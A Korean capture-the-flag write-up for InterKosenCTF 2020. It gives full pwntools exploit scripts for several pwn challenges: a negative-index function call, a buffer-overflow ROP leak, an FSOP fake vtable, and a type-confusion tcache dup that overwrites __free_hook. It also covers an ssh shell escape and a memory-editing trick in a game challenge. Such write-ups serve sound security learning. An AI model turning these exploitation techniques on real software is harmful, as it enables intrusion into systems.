InterKosenCTF 2020 CTF를 참여했다. 꽤 재미있었고 pwn 카테고리의 문제 및 개인적으로 재미있었던 misc 문제의 write up을 작성한다.


babysort (105 pts, 49 solves)

SortExperiment 구조체의 elm 배열에 값을 5번 입력받고, cmp 배열에 저장된 함수를 호출하여 정렬을 하고 종료하는 프로그램이다.

정렬은 오름차순과 내림차순이 있는데, 이때 음수 인덱스를 이용하면 elm 배열의 값에 접근할 수 있다. 이를 통해 win 함수를 호출시킬 수 있다.

from pwn import *

p = remote('pwn.kosenctf.com', 9001)
e = ELF('./chall')

win = e.sym['win']

for i in range(5):
    p.sendlineafter('= ', str(win))

p.sendlineafter(': ', '-1')
p.interactive()

authme (300 pts, 20 solves)

fgets에서 bof가 발생한다. 그 뒤 ID와 PW 값을 비교한 후 틀리면 exit() 함수를 이용하여 프로그램을 종료한다.

해결 방법은 첫 번째 fgets 함수에서 bof를 발생시키고, 두 번째 fgets에서 NULL을 반환 시켜서 exit()가 아닌 return을 하도록 만드는 것이다. fgets의 입력을 받을 때 pwntools의 shutdown 함수를 호출하면 NULL을 반환하게 되고 이를 통해 ID와 PW를 leak할 수 있다. (thx to myria)

from pwn import *

p = remote("pwn.kosenctf.com", 9002)
e = ELF('./chall')

pr = 0x400b03
puts = e.plt['puts']
username = e.sym['username']
password = e.sym['password']

p.send("A" * 0x28 + p64(pr) + p64(username) + p64(puts)[:7])
p.shutdown()
p.recvuntil('Password: ')
print p.recvline()

p = remote("pwn.kosenctf.com", 9002)
p.send("A" * 0x28 + p64(pr) + p64(password) + p64(puts)[:7])
p.shutdown()
p.recvuntil('Password: ')
print p.recvline()

Fables of aeSOP (335 pts, 16 solves)

bss 영역에 gets로 입력받고 fclose()를 호출한다.

문제 이름만 봐도 FSOP 문제임을 알 수 있으며, win 함수도 제공해주기 때문에 그냥 FSOP를 하면 된다.

from pwn import *

#p = process('./chall')
p = remote("pwn.kosenctf.com", 9003)
e = ELF('./chall')
libc = e.libc

p.recvuntil('= ')
win = int(p.recvline(), 16)
pie_base = win & 0xfffffffff000
fake = pie_base + 0x202060

payload = ''
payload += p64(0) * 17
payload += p64(fake)         # null pointer
payload += p64(0) * 9
payload += p64(fake + 0x100) # fake vtable
payload += p64(win) * 30
payload += 'A' * (0x200 - len(payload))
payload += p64(fake)
p.sendline(payload)

p.interactive()

pash (373 pts, 12 solves)

ssh에 접속하면 pash라는 프로그램이 실행되며 whoami, ls, pwd, cat, exit 명령을 사용할 수 있다.

whoami 명령을 사용해보면 pwn 권한 임을 알 수 있다. 또한 ls 명령을 이용해보면 현재 실행되어 있는 pash가 admin 권한으로 set gid가 걸려있는걸 확인 할 수 있다. 하지만 명령에 flag.txt가 포함되면 안된다.

이 문제를 풀기 위해서는 먼저 /bin/sh로 접속해야한다. 다음과 같은 명령을 사용하면 된다. (thx to realsung)

ssh pwn@pwn.kosenctf.com -p9022 /bin/sh

그 이후 tmp 디렉토리에서 flag.txt 파일을 symbolic link를 걸고 해당 파일을 읽으면 된다. (thx to posix)

1


confusing (393 pts, 10 solves)

굉장히 재미있는 문제였다. 출체자의 정성이 느껴지는 문제였다. 이 문제는 String, Interger, double 세가지 type의 변수에 대하여 set, print, delete를 할 수 있는 기능을 구현해놓았다.

먼저 type.h의 주석을 확인해보자.

/*
 * Do you know how WebKit keeps variables in memory?
 *
 * > The top 16-bits denote the type of the encoded JSValue:
 * >
 * >     Pointer {  0000:PPPP:PPPP:PPPP
 * >              / 0001:****:****:****
 * >     Double  {         ...
 * >              \ FFFE:****:****:****
 * >     Integer {  FFFF:0000:IIII:IIII
 *
 * How smart it is! I implemented this structure in C :)
 * I hope I made it right......
 *
 * Read the following code for more information:
 *  - https://github.com/adobe/webkit/blob/master/Source/JavaScriptCore/runtime/JSValue.h
 */

출제자가 친절하게 설명해놓았다. Pointer(String)는 첫 2byte가 0000이고, Integer는 첫 2byte가 FFFF이고 Double은 그외의 값을 가진다. 문제 이름 및 문제 컨셉을 보면 Type Confusion을 유도한 문제이며 Double 값을 Pointer로 인식 시켜서 aar을 만들 수 있다.

free_got를 double로 set하고 print를 하면 leak이 가능하다.

from struct import struct

def p64_(s):
    return str("%.800f" % unpack("<d", p64(s))[0])

Set(0, 2, p64_(e.got['free']))
Show()

이제 aaw만 하면 된다. 디버깅을 해보니 String을 set할 때 힙에 할당되었다. 이때 힙 주소는 bss에 남는데, 이 힙 주소를 Type Confusion을 이용하여 leak할 수 있다. 그 다음 해당 주소를 double로 할당하게 되면 동일한 주소를 가리키는 포인터가 2개가 된다. 이를 통해 tcache dup을 트리거 가능하고 free_hookone_gadget을 덮으면 된다.

from pwn import *
from struct import *

#p = process('./chall')
p = remote("pwn.kosenctf.com", 9005)
e = ELF('./chall')
libc = e.libc

def Set(idx, Type, data):
    p.sendlineafter('> ', '1')
    p.sendlineafter(': ', str(idx))
    p.sendlineafter(': ', str(Type))
    p.sendlineafter(': ', str(data))

def Show():
    p.sendlineafter('> ', '2')

def Delete(idx):
    p.sendlineafter('> ', '3')
    p.sendlineafter(': ', str(idx))

def p64_(s):
    return str("%.800f" % unpack("<d", p64(s))[0])

Set(0, 2, p64_(e.got['free']))
Set(1, 1, 'A')
Set(2, 2, p64_(0x6020a8))
Show()

p.recvuntil('"')
leak = p.recvuntil('"')[:-1]

leak = (u64(leak.ljust(8, '\x00')))
libc_base = leak - libc.sym['free']

one_off = [324453, 324546, 1090652]
one_gadget = libc_base + one_off[1]
free_hook = libc_base + libc.sym['__free_hook']

p.recvuntil('2')
p.recvuntil('"')
leak = p.recvuntil('"')[:-1]
leak = (u64(leak.ljust(8, '\x00')))

Set(3, 2, p64_(leak))

Delete(1)
Delete(3)

Set(4, 1, p64(free_hook))
Set(5, 1, p64(0))

p.sendlineafter('> ', p64(one_gadget))

p.interactive()

Tip Toe (353 pts, 14 solves)

이 문제는 pwn 카테고리는 아니지만 개인적으로 재밌게 풀어서 write up을 쓴다. 게임 문제인데, 몇 판 해보니깐 쉬워보여서 그냥 깨보았는데, 조금 더 빨리 깨라고 한다.

image

그래서 일단 cheat engine을 켜서 KosenCTF{를 검색해보았다. 성공적으로 검색이 되며 이때 메모리의 값들을 보면 다음과 같다.

image

여기서 주목할 것은 argv[1]='debug'이다. argv[1]에 debug를 넣고 실행해보면 다음과 같다.

image

이제 time 값을 검색해서 음수로 만들어주고 게임을 클리어 하면 된다. Unknown initial value로 시작해서, Increased value, Smaller than... 등으로 검색해보면 timer 값을 찾을 수 있다.

image

이제 본인의 출중한 게임 실력을 통해 게임을 클리어하면 된다…